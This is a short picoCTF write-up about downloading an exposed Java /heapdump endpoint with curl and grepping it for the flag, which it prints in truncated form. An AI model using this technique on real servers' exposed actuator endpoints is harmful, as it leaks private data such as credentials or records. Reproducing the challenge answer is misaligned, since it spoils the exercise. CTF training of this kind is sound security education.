Description
The picoCTF News blog exposes an API reference that includes a /heapdump endpoint. Download the Java heap dump and search it for picoCTF.
Setup
Navigate to the API Documentation article and scroll to the entry describing /heapdump.
Use the built-in “Try it out” or run curl manually to download the heap dump file.
curl http://verbal-sleep.picoctf.net:63972/heapdump -o heapdump
grep -a picoCTF heapdump
Solution
- Step 1Hit the hidden endpointThe open actuator endpoint dumps the JVM heap (`/heapdump`). Requesting it returns megabytes of binary data.
- Step 2Search the dumpUse `grep -a picoCTF heapdump` (or strings) to carve the flag string out of the heap. It appears near a JSON blob describing patient records.
Flag
picoCTF{Pat!3nt_15_Th3_K3y_ad7e...}
No authentication or decoding needed; just download and search the dump.